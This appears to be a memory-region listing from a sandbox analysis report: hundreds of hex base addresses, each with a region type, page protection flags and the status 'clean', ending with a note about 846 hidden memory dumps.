577000
heap default
page read and write
 clean
697000
heap default
page read and write
 clean
71A000
heap default
page read and write
 clean
2B90000
heap private
page execute and read and write
 clean
12D21000
unkown
page read and write
 clean
677000
heap default
page read and write
 clean
4C7000
heap default
page read and write
 clean
250000
unkown
page readonly
 clean
2C0000
unkown
page readonly
 clean
10023000
unkown
page execute and read and write
 clean
627000
heap default
page read and write
 clean
2F07000
unkown
page read and write
 clean
542000
heap default
page read and write
 clean
3423000
unkown
page read and write
 clean
100000
unkown
page read and write
 clean
238F000
stack
page read and write
 clean
361000
heap default
page read and write
 clean
640000
heap default
page read and write
 clean
2E90000
unkown
page read and write
 clean
273E000
unkown
page read and write
 clean
B0000
unkown
page readonly
 clean
6E0000
heap default
page read and write
 clean
2A50000
unkown
page read and write
 clean
3365000
unkown
page read and write
 clean
280E000
unkown
page read and write
 clean
440000
heap default
page read and write
 clean
340000
heap private
page read and write
 clean
1FDF000
unkown
page read and write
 clean
10021000
unkown
page execute and read and write
 clean
BB000
unkown
page read and write
 clean
B07000
unkown
page readonly
 clean
281E000
unkown
page read and write
 clean
2C11000
unkown
page read and write
 clean
29AE000
stack
page read and write
 clean
870000
unkown
page readonly
 clean
39D000
heap default
page read and write
 clean
1B36A000
unkown
page read and write
 clean
D52000
heap private
page read and write
 clean
7FF00100000
unkown
page read and write
 clean
C4D000
stack
page read and write
 clean
20000
unkown
page readonly
 clean
2720000
unkown
page read and write
 clean
201000
unkown
page execute and read and write
 clean
B50000
heap private
page read and write
 clean
1E1000
unkown
page execute and read and write
 clean
2756000
unkown
page read and write
 clean
C30000
heap private
page read and write
 clean
23C0000
heap private
page read and write
 clean
EB000
unkown
page read and write
 clean
20000
unkown
page readonly
 clean
27CF000
stack
page read and write
 clean
750000
unkown
page readonly
 clean
490000
heap default
page read and write
 clean
267000
heap default
page read and write
 clean
210000
unkown
page execute and read and write
 clean
26A0000
unkown
page write copy
 clean
10021000
unkown
page execute and read and write
 clean
868000
heap private
page read and write
 clean
12C000
unkown
page read and write
 clean
27CE000
stack
page read and write
 clean
324000
heap default
page read and write
 clean
2720000
unkown
page read and write
 clean
2C3000
unkown
page execute and read and write
 clean
720000
unkown
page readonly
 clean
CC0000
heap private
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
1BB70000
heap private
page read and write
 clean
35CB000
unkown
page read and write
 clean
2720000
unkown
page read and write
 clean
260000
heap default
page read and write
 clean
2720000
unkown
page read and write
 clean
12E60000
unkown
page read and write
 clean
270000
unkown
page write copy
 clean
280000
unkown
page read and write
 clean
740000
unkown
page readonly
 clean
20000
unkown
page readonly
 clean
283000
unkown
page execute and read and write
 clean
32E000
unkown
page read and write
 clean
1C7F000
unkown
page read and write
 clean
D34000
heap private
page read and write
 clean
390000
heap default
page read and write
 clean
10021000
unkown
page execute and read and write
 clean
3A0000
unkown
page readonly
 clean
310000
heap private
page read and write
 clean
1E00000
unkown
page readonly
 clean
3E0000
heap private
page read and write
 clean
180000
heap private
page read and write
 clean
2B80000
unkown
page read and write
 clean
7D0000
unkown
page readonly
 clean
1B840000
unkown
page readonly
 clean
20000
heap private
page read and write
 clean
A57000
unkown
page readonly
 clean
7FF00170000
unkown
page read and write
 clean
20000
unkown
page readonly
 clean
D1C000
unkown
page read and write
 clean
D34000
heap private
page read and write
 clean
2F24000
unkown
page read and write
 clean
100000
unkown
page readonly
 clean
10023000
unkown
page execute and read and write
 clean
3AE8000
unkown
page read and write
 clean
3D0000
unkown
page read and write
 clean
2F75000
unkown
page read and write
 clean
7FF001D0000
unkown
page execute and read and write
 clean
2CD000
heap default
page read and write
 clean
4B4000
heap default
page read and write
 clean
28A000
stack
page read and write
 clean
5F7000
heap default
page read and write
 clean
10000000
unkown image
page readonly
 clean
2C4D000
stack
page read and write
 clean
299D000
unkown
page read and write
 clean
25D0000
unkown
page readonly
 clean
350000
heap private
page read and write
 clean
360000
heap default
page read and write
 clean
D1E000
unkown
page read and write
 clean
2AA2000
heap private
page read and write
 clean
30E000
heap default
page read and write
 clean
1CCC0000
heap private
page read and write
 clean
220000
unkown
page readonly
 clean
AC0000
unkown
page read and write
 clean
2F48000
unkown
page read and write
 clean
2E4A000
unkown
page read and write
 clean
10023000
unkown
page execute and read and write
 clean
23D7000
unkown
page readonly
 clean
690000
heap default
page read and write
 clean
9B4000
unkown
page read and write
 clean
2720000
unkown
page read and write
 clean
2B70000
unkown
page read and write
 clean
3146000
unkown
page read and write
 clean
420000
unkown
page readonly
 clean
B0000
unkown
page readonly
 clean
344000
heap default
page read and write
 clean
2E60000
unkown
page readonly
 clean
290000
heap default
page read and write
 clean
2720000
unkown
page read and write
 clean
540000
heap private
page read and write
 clean
530000
heap private
page read and write
 clean
1A0000
unkown
page readonly
 clean
2FDF000
unkown
page read and write
 clean
D0000
unkown
page read and write
 clean
7FF00290000
unkown
page execute and read and write
 clean
587000
heap default
page read and write
 clean
3CF000
stack
page read and write
 clean
1B3E0000
unkown
page read and write
 clean
140000
unkown
page readonly
 clean
2EFA000
unkown
page read and write
 clean
390000
unkown
page readonly
 clean
7FF001B0000
unkown
page execute and read and write
 clean
C50000
unkown
page read and write
 clean
3512000
unkown
page read and write
 clean
2720000
unkown
page read and write
 clean
1C94D000
unkown
page read and write
 clean
567000
heap default
page read and write
 clean
90000
unkown
page readonly
 clean
B0D000
unkown
page read and write
 clean
2720000
unkown
page read and write
 clean
99F000
unkown
page read and write
 clean
D20000
unkown
page readonly
 clean
647000
heap default
page read and write
 clean
2A4F000
unkown
page read and write
 clean
260000
unkown
page execute and read and write
 clean
1C70000
unkown
page readonly
 clean
277E000
unkown
page read and write
 clean
120000
unkown
page readonly
 clean
C20000
heap private
page read and write
 clean
460000
unkown
page readonly
 clean
220000
unkown
page readonly
 clean
2720000
unkown
page read and write
 clean
662000
heap default
page read and write
 clean
2340000
unkown
page readonly
 clean
3B88000
unkown
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
DF0000
unkown
page readonly
 clean
741000
unkown
page execute and read and write
 clean
2F43000
unkown
page read and write
 clean
54F000
stack
page read and write
 clean
12C11000
unkown
page read and write
 clean
317000
heap default
page read and write
 clean
21F0000
unkown
page readonly
 clean
100000
unkown
page readonly
 clean
1FE0000
heap private
page execute and read and write
 clean
1E0000
unkown
page readonly
 clean
2E47000
unkown
page read and write
 clean
1F5D000
unkown
page read and write
 clean
2E74000
unkown
page read and write
 clean
366000
heap default
page read and write
 clean
D94000
heap private
page read and write
 clean
2E67000
unkown
page read and write
 clean
2E0000
unkown
page read and write
 clean
2A80000
heap private
page read and write
 clean
2FBD000
unkown
page read and write
 clean
410000
unkown
page readonly
 clean
1B3E5000
unkown
page read and write
 clean
25A000
stack
page read and write
 clean
1B323000
unkown
page read and write
 clean
3B8000
heap private
page read and write
 clean
10021000
unkown
page execute and read and write
 clean
90000
unkown
page readonly
 clean
353E000
unkown
page read and write
 clean
2E3E000
unkown
page read and write
 clean
2C7000
heap default
page read and write
 clean
7FF001F0000
unkown
page execute and read and write
 clean
690000
heap default
page read and write
 clean
3541000
unkown
page read and write
 clean
35CF000
unkown
page read and write
 clean
100000
unkown
page readonly
 clean
1D85000
heap private
page read and write
 clean
98D000
unkown
page read and write
 clean
2FC0000
unkown
page read and write
 clean
87D000
unkown
page read and write
 clean
10021000
unkown
page execute and read and write
 clean
2AB000
unkown
page read and write
 clean
13C000
unkown
page read and write
 clean
D0000
unkown
page readonly
 clean
279D000
stack
page read and write
 clean
23D7000
unkown
page readonly
 clean
3D3000
unkown
page execute and read and write
 clean
23B0000
unkown
page read and write
 clean
10021000
unkown
page execute and read and write
 clean
3525000
unkown
page read and write
 clean
30C3000
unkown
page read and write
 clean
60000
unkown
page readonly
 clean
380000
unkown
page readonly
 clean
7FF000F0000
unkown
page read and write
 clean
21F0000
unkown
page readonly
 clean
70E000
heap default
page read and write
 clean
10021000
unkown
page execute and read and write
 clean
3B0000
heap default
page read and write
 clean
10021000
unkown
page execute and read and write
 clean
6EB000
heap default
page read and write
 clean
A0000
unkown
page read and write
 clean
100000
unkown
page read and write
 clean
392000
heap default
page read and write
 clean
26F0000
heap private
page read and write
 clean
2F8F000
unkown
page read and write
 clean
1E10000
heap private
page read and write
 clean
29C000
stack
page read and write
 clean
1BA80000
heap private
page read and write
 clean
1ED0000
heap private
page read and write
 clean
1B780000
unkown
page write copy
 clean
384000
heap default
page read and write
 clean
1D0000
unkown
page read and write
 clean
7FF001A0000
unkown
page read and write
 clean
8C0000
heap private
page read and write
 clean
D0000
unkown
page readonly
 clean
E0000
unkown
page read and write
 clean
22DE000
unkown
page read and write
 clean
2FFF000
unkown
page read and write
 clean
530000
heap default
page read and write
 clean
620000
heap default
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
1C60000
unkown
page readonly
 clean
7FF00105000
unkown
page read and write
 clean
1A0000
unkown
page readonly
 clean
907000
unkown
page readonly
 clean
50E000
heap default
page read and write
 clean
20000
unkown
page readonly
 clean
B37000
unkown
page readonly
 clean
2D20000
heap private
page read and write
 clean
2A4E000
unkown
page read and write | page guard
 clean
2EAD000
unkown
page read and write
 clean
90000
unkown
page readonly
 clean
2EB8000
unkown
page read and write
 clean
13C000
stack
page read and write
 clean
2720000
unkown
page read and write
 clean
2B4000
heap default
page read and write
 clean
13C000
stack
page read and write
 clean
1C6000
unkown
page read and write
 clean
67000
heap default
page read and write
 clean
537000
heap default
page read and write
 clean
2C1E000
stack
page read and write
 clean
710000
unkown
page readonly
 clean
640000
heap default
page read and write
 clean
10000000
unkown image
page readonly
 clean
850000
unkown
page read and write
 clean
1F0000
heap private
page read and write
 clean
2E4E000
stack
page read and write
 clean
544000
heap private
page read and write
 clean
2F03000
unkown
page read and write
 clean
10021000
unkown
page execute and read and write
 clean
2E61000
unkown
page read and write
 clean
1B3EA000
unkown
page read and write
 clean
23D000
unkown
page read and write
 clean
5A7000
heap default
page read and write
 clean
3515000
unkown
page read and write
 clean
16A000
stack
page read and write
 clean
21F0000
unkown
page read and write
 clean
290000
unkown
page readonly
 clean
2720000
unkown
page read and write
 clean
2400000
unkown
page readonly
 clean
570000
heap default
page read and write
 clean
1B3F0000
unkown
page readonly
 clean
580000
unkown
page readonly
 clean
110000
unkown
page readonly
 clean
D52000
heap private
page read and write
 clean
2B8A000
unkown
page read and write
 clean
4CD000
heap default
page read and write
 clean
627000
heap default
page read and write
 clean
5E0000
unkown
page readonly
 clean
285E000
unkown
page read and write
 clean
10023000
unkown
page execute and read and write
 clean
334000
heap default
page read and write
 clean
10000000
unkown image
page readonly
 clean
2F71000
unkown
page read and write
 clean
950000
unkown
page readonly
 clean
920000
unkown
page readonly
 clean
2C74000
unkown
page read and write
 clean
20D000
unkown
page read and write
 clean
2E0000
heap default
page read and write
 clean
180000
unkown
page read and write
 clean
410000
unkown
page read and write
 clean
3C0000
heap default
page read and write
 clean
2060000
unkown
page readonly
 clean
223000
unkown
page execute and read and write
 clean
1F0000
unkown
page execute and read and write
 clean
20000
unkown
page readonly
 clean
312D000
unkown
page read and write
 clean
9BE000
unkown
page read and write
 clean
557000
heap default
page read and write
 clean
35D2000
unkown
page read and write
 clean
130000
unkown
page readonly
 clean
3BC000
heap default
page read and write
 clean
CEE000
stack
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
2E96000
unkown
page read and write
 clean
2870000
unkown
page readonly
 clean
20000
heap private
page read and write
 clean
860000
heap private
page read and write
 clean
26D0000
unkown
page readonly
 clean
554000
heap default
page read and write
 clean
397000
heap default
page read and write
 clean
60000
unkown
page readonly
 clean
9E000
heap default
page read and write
 clean
65D000
heap default
page read and write
 clean
275E000
unkown
page read and write
 clean
CE0000
heap private
page read and write
 clean
590000
unkown
page readonly
 clean
C0000
unkown
page execute and read and write
 clean
290F000
unkown
page read and write
 clean
23C0000
unkown
page read and write
 clean
62D000
heap default
page read and write
 clean
25A0000
unkown
page read and write
 clean
2720000
unkown
page read and write
 clean
2C8D000
stack
page read and write
 clean
D90000
heap private
page read and write
 clean
880000
unkown
page readonly
 clean
1F0000
unkown
page execute and read and write
 clean
7FF0004C000
unkown
page execute and read and write
 clean
229E000
unkown
page read and write
 clean
243000
unkown
page execute and read and write
 clean
2720000
unkown
page read and write
 clean
460000
unkown
page readonly
 clean
10000000
unkown image
page readonly
 clean
2820000
unkown
page readonly
 clean
2CC000
stack
page read and write
 clean
702000
heap default
page read and write
 clean
270000
unkown
page readonly
 clean
1C5000
unkown
page read and write | page guard
 clean
2860000
unkown
page readonly
 clean
406000
unkown
page read and write
 clean
1EB0000
unkown
page readonly
 clean
2FA0000
unkown
page read and write
 clean
1C0000
heap private
page read and write
 clean
10021000
unkown
page execute and read and write
 clean
90000
unkown
page read and write
 clean
2D8000
heap private
page read and write
 clean
400000
unkown
page readonly
 clean
140000
unkown
page read and write
 clean
1ED7000
heap private
page read and write
 clean
574000
heap default
page read and write
 clean
339000
heap default
page read and write
 clean
530000
unkown
page readonly
 clean
2F0C000
unkown
page read and write
 clean
2C46000
unkown
page read and write
 clean
2F20000
unkown
page read and write
 clean
D30000
heap private
page read and write
 clean
360000
heap default
page read and write
 clean
100000
heap default
page read and write
 clean
3554000
unkown
page read and write
 clean
120000
heap default
page read and write
 clean
10021000
unkown
page execute and read and write
 clean
314000
heap default
page read and write
 clean
1B8A0000
unkown
page read and write
 clean
206000
unkown
page read and write
 clean
737000
heap default
page read and write
 clean
594000
heap default
page read and write
 clean
2FC3000
unkown
page read and write
 clean
190000
unkown
page execute and read and write
 clean
170000
unkown
page execute and read and write
 clean
A67000
unkown
page readonly
 clean
2A0000
unkown
page readonly
 clean
7FF00032000
unkown
page execute and read and write
 clean
7FF001C0000
unkown
page read and write
 clean
2B9A000
heap private
page execute and read and write
 clean
34D000
heap default
page read and write
 clean
10023000
unkown
page execute and read and write
 clean
335B000
unkown
page read and write
 clean
2810000
unkown
page readonly
 clean
230000
heap private
page read and write
 clean
1E14000
heap private
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
1B2E0000
unkown
page read and write
 clean
1CC000
unkown
page read and write
 clean
10023000
unkown
page execute and read and write
 clean
90000
unkown
page read and write
 clean
67D000
heap default
page read and write
 clean
513000
heap default
page read and write
 clean
7FF000F2000
unkown
page execute and read and write
 clean
12C3C000
unkown
page read and write
 clean
F0000
unkown
page write copy
 clean
6C0000
unkown
page readonly
 clean
614000
heap default
page read and write
 clean
10000000
unkown image
page readonly
 clean
10023000
unkown
page execute and read and write
 clean
B50000
heap private
page read and write
 clean
A20000
unkown
page readonly
 clean
BC0000
heap private
page read and write
 clean
344000
heap private
page read and write
 clean
1E3000
unkown
page execute and read and write
 clean
860000
heap private
page read and write
 clean
2B0000
unkown
page execute and read and write
 clean
630000
unkown
page readonly
 clean
2F92000
unkown
page read and write
 clean
1B2EB000
unkown
page read and write
 clean
56D000
heap default
page read and write
 clean
1B0000
heap private
page read and write
 clean
5A0000
heap default
page read and write
 clean
3DC000
unkown
page read and write
 clean
FB000
unkown
page read and write
 clean
20000
heap private
page read and write
 clean
550000
unkown
page readonly
 clean
2D0000
heap default
page read and write
 clean
A20000
heap private
page read and write
 clean
1C82E000
unkown
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
670000
unkown
page readonly
 clean
12D81000
unkown
page read and write
 clean
410000
heap private
page read and write
 clean
26BE000
stack
page read and write
 clean
7FF00280000
unkown
page read and write
 clean
3633000
unkown
page read and write
 clean
1CAB0000
heap private
page read and write
 clean
2E40000
unkown
page read and write
 clean
337000
heap default
page read and write
 clean
2FA4000
unkown
page read and write
 clean
7FFFFF00000
unkown
page execute and read and write
 clean
497000
heap default
page read and write
 clean
1B389000
unkown
page read and write
 clean
664000
heap default
page read and write
 clean
92F000
unkown
page read and write
 clean
170000
unkown
page execute and read and write
 clean
20000
unkown
page readonly
 clean
180000
unkown
page readonly
 clean
2720000
unkown
page read and write
 clean
160000
heap private
page read and write
 clean
2E50000
heap private
page read and write
 clean
1E3000
unkown
page execute and read and write
 clean
2720000
unkown
page read and write
 clean
24B000
unkown
page read and write
 clean
2E86000
unkown
page read and write
 clean
2E0000
unkown
page read and write
 clean
2D5E000
unkown
page read and write
 clean
340000
heap private
page read and write
 clean
2330000
unkown
page readonly
 clean
10023000
unkown
page execute and read and write
 clean
58D000
heap default
page read and write
 clean
25D0000
unkown
page readonly
 clean
290000
heap default
page read and write
 clean
5AD000
heap default
page read and write
 clean
31CD000
unkown
page read and write
 clean
7FF00190000
unkown
page execute and read and write
 clean
20000
unkown
page readonly
 clean
C40000
unkown
page read and write
 clean
3D1000
unkown
page execute and read and write
 clean
7FF00207000
unkown
page read and write
 clean
DC8000
heap private
page read and write
 clean
140000
unkown
page read and write
 clean
2BC000
stack
page read and write
 clean
360000
heap default
page read and write
 clean
960000
heap private
page read and write
 clean
27A0000
unkown
page write copy
 clean
2F95000
unkown
page read and write
 clean
10000000
unkown image
page readonly
 clean
2B8E000
unkown
page read and write
 clean
3B7C000
unkown
page read and write
 clean
10021000
unkown
page execute and read and write
 clean
7FF00240000
unkown
page execute and read and write
 clean
1E80000
unkown
page read and write
 clean
374000
heap default
page read and write
 clean
2F10000
unkown
page read and write
 clean
23D0000
unkown
page readonly
 clean
743000
unkown
page execute and read and write
 clean
26F4000
heap private
page read and write
 clean
160000
unkown
page readonly
 clean
12EC2000
unkown
page read and write
 clean
20000
unkown
page readonly
 clean
644000
heap default
page read and write
 clean
160000
unkown
page readonly
 clean
F0000
unkown
page readonly
 clean
3522000
unkown
page read and write
 clean
346000
unkown
page read and write
 clean
2720000
unkown
page read and write
 clean
2EA9000
unkown
page read and write
 clean
3E0000
heap default
page read and write
 clean
9A000
stack
page read and write
 clean
2720000
unkown
page read and write
 clean
2A5E000
unkown
page read and write
 clean
21F0000
unkown
page readonly
 clean
7EFDF000
unkown
page read and write
 clean
10023000
unkown
page execute and read and write
 clean
3551000
unkown
page read and write
 clean
353B000
unkown
page read and write
 clean
25D0000
unkown
page readonly
 clean
347000
heap default
page read and write
 clean
65C000
heap default
page read and write
 clean
2C50000
heap private
page read and write
 clean
1AC70000
unkown
page read and write
 clean
2EEE000
unkown
page read and write
 clean
2B1E000
unkown
page read and write
 clean
3528000
unkown
page read and write
 clean
2F3D000
unkown
page read and write
 clean
3564000
unkown
page read and write
 clean
29FC000
unkown
page read and write
 clean
35E000
stack
page read and write
 clean
650000
unkown
page readonly
 clean
2F6A000
unkown
page read and write
 clean
534000
heap private
page read and write
 clean
69C000
heap default
page read and write
 clean
760000
heap private
page read and write
 clean
3557000
unkown
page read and write
 clean
3E0000
heap default
page read and write
 clean
21C000
unkown
page read and write
 clean
1A0000
unkown
page readonly
 clean
7EFDF000
unkown
page read and write
 clean
3B04000
unkown
page read and write
 clean
1E1000
unkown
page execute and read and write
 clean
3159000
unkown
page read and write
 clean
6F1000
unkown
page execute and read and write
 clean
140000
unkown
page read and write
 clean
10000000
unkown image
page readonly
 clean
6F9000
heap default
page read and write
 clean
25F0000
unkown
page read and write
 clean
580000
heap default
page read and write
 clean
7FF0010A000
unkown
page execute and read and write
 clean
1D70000
unkown
page read and write
 clean
10000000
unkown image
page readonly
 clean
2720000
unkown
page read and write
 clean
10000000
unkown image
page readonly
 clean
12C15000
unkown
page read and write
 clean
2BD0000
heap private
page execute and read and write
 clean
7FF00040000
unkown
page read and write
 clean
1B400000
unkown
page read and write
 clean
21F0000
unkown
page readonly
 clean
1FC000
unkown
page read and write
 clean
1ED4000
heap private
page read and write
 clean
23D7000
unkown
page readonly
 clean
290000
heap default
page read and write
 clean
3538000
unkown
page read and write
 clean
410000
unkown
page readonly
 clean
CAE000
stack
page read and write
 clean
540000
unkown
page readonly
 clean
2AC0000
unkown
page readonly
 clean
23C0000
unkown
page readonly
 clean
36D000
heap default
page read and write
 clean
A10000
unkown
page readonly
 clean
330000
unkown
page readonly
 clean
590000
unkown
page readonly
 clean
D70000
heap private
page read and write
 clean
120000
unkown
page readonly
 clean
395000
heap default
page read and write
 clean
7FF002A0000
unkown
page execute and read and write
 clean
5CC000
heap default
page read and write
 clean
352B000
unkown
page read and write
 clean
FB000
unkown
page read and write
 clean
2D3E000
stack
page read and write
 clean
2712000
heap private
page read and write
 clean
10023000
unkown
page execute and read and write
 clean
BEE000
unkown
page read and write
 clean
21F0000
unkown
page readonly
 clean
2880000
unkown
page readonly
 clean
2E93000
unkown
page read and write
 clean
2CCE000
unkown
page read and write
 clean
150000
unkown
page read and write
 clean
2FC6000
unkown
page read and write
 clean
2330000
heap private
page read and write
 clean
170000
unkown
page read and write
 clean
2720000
unkown
page read and write
 clean
970000
unkown
page read and write
 clean
2D0C000
unkown
page read and write
 clean
350C000
unkown
page read and write
 clean
7FF00132000
unkown
page execute and read and write
 clean
A9E000
unkown
page read and write
 clean
1E3000
unkown
page execute and read and write
 clean
A97000
unkown
page readonly
 clean
2C10000
unkown
page readonly
 clean
1B362000
unkown
page read and write
 clean
3497000
unkown
page read and write
 clean
930000
heap private
page read and write
 clean
51F000
heap default
page read and write
 clean
550000
heap default
page read and write
 clean
3B84000
unkown
page read and write
 clean
8C0000
unkown
page readonly
 clean
2DCE000
stack
page read and write
 clean
1DBB000
heap private
page read and write
 clean
140000
unkown
page read and write
 clean
1C69E000
unkown
page read and write
 clean
226E000
unkown
page read and write
 clean
D8E000
unkown
page read and write
 clean
7FF0003A000
unkown
page execute and read and write
 clean
460000
unkown
page readonly
 clean
458000
heap private
page read and write
 clean
C9E000
unkown
page read and write
 clean
300000
heap default
page read and write
 clean
7B0000
unkown
page readonly
 clean
7FF00200000
unkown
page read and write
 clean
2320000
unkown
page readonly
 clean
21F0000
unkown
page readonly
 clean
354E000
unkown
page read and write
 clean
350F000
unkown
page read and write
 clean
7FF00220000
unkown
page execute and read and write
 clean
39F000
heap default
page read and write
 clean
2F5D000
unkown
page read and write
 clean
1E1000
unkown
page execute and read and write
 clean
360000
unkown
page read and write
 clean
6C7000
heap default
page read and write
 clean
D30000
heap private
page read and write
 clean
310000
heap default
page read and write
 clean
4E0000
heap default
page read and write
 clean
2930000
unkown
page readonly
 clean
7FF001E0000
unkown
page read and write
 clean
A30000
unkown
page readonly
 clean
90000
unkown
page readonly
 clean
20000
unkown
page readonly
 clean
7EFDF000
unkown
page read and write
 clean
2F4C000
unkown
page read and write
 clean
7FF00210000
unkown
page read and write
 clean
DDE000
unkown
page read and write
 clean
2720000
unkown
page read and write
 clean
950000
unkown
page readonly
 clean
362000
heap private
page read and write
 clean
5E0000
unkown
page readonly
 clean
9FE000
stack
page read and write
 clean
284B000
unkown
page readonly
 clean
2C1000
unkown
page execute and read and write
 clean
E0000
unkown
page read and write
 clean
20000
unkown
page readonly
 clean
30E2000
unkown
page read and write
 clean
212000
unkown
page read and write
 clean
1E0000
heap private
page read and write
 clean
1E3000
unkown
page execute and read and write
 clean
22DE000
stack
page read and write
 clean
221000
unkown
page execute and read and write
 clean
293E000
unkown
page read and write
 clean
90000
unkown
page readonly
 clean
2910000
heap private
page read and write
 clean
D40000
unkown
page readonly
 clean
450000
heap private
page read and write
 clean
2DE000
heap default
page read and write
 clean
3A0000
unkown
page readonly
 clean
4D0000
unkown
page readonly
 clean
2CBC000
unkown
page read and write
 clean
D00000
unkown
page readonly
 clean
2CAE000
unkown
page read and write
 clean
2EAE000
stack
page read and write
 clean
740000
unkown
page readonly
 clean
940000
heap private
page read and write
 clean
DBF000
stack
page read and write
 clean
1B352000
unkown
page read and write
 clean
100000
unkown
page read and write
 clean
10023000
unkown
page execute and read and write
 clean
22E0000
unkown
page readonly
 clean
21D0000
heap private
page read and write
 clean
5F5000
heap default
page read and write
 clean
390000
unkown
page readonly
 clean
770000
unkown
page readonly
 clean
22E0000
heap private
page read and write
 clean
20C000
unkown
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
203000
unkown
page execute and read and write
 clean
6D0000
unkown
page readonly
 clean
10000000
unkown image
page readonly
 clean
2FE000
heap default
page read and write
 clean
1B400000
unkown
page read and write
 clean
21F0000
unkown
page readonly
 clean
7FF00180000
unkown
page execute and read and write
 clean
2B7C000
unkown
page read and write
 clean
35BA000
unkown
page read and write
 clean
7FF00230000
unkown
page read and write
 clean
241000
unkown
page execute and read and write
 clean
190000
unkown
page execute and read and write
 clean
2827000
unkown
page readonly
 clean
5F0000
heap default
page read and write
 clean
3FE000
stack
page read and write
 clean
DC0000
heap private
page read and write
 clean
7FF00042000
unkown
page execute and read and write
 clean
396000
unkown
page read and write
 clean
510000
unkown
page readonly
 clean
AB000
stack
page read and write
 clean
7FF002B0000
unkown
page execute and read and write
 clean
170000
unkown
page execute and read and write
 clean
3B0000
heap private
page read and write
 clean
2F53000
unkown
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
2720000
unkown
page read and write
 clean
29E000
heap default
page read and write
 clean
2720000
unkown
page read and write
 clean
310000
unkown
page read and write
 clean
2D3E000
unkown
page read and write
 clean
3166000
unkown
page read and write
 clean
1E20000
unkown
page write copy
 clean
9AF000
unkown
page read and write
 clean
590000
unkown
page readonly
 clean
90000
unkown
page readonly
 clean
26C0000
unkown
page write copy
 clean
25D0000
unkown
page readonly
 clean
C60000
unkown
page readonly
 clean
10000000
unkown image
page readonly
 clean
7FF00260000
unkown
page execute and read and write
 clean
There are 846 hidden memdumps, click here to show them.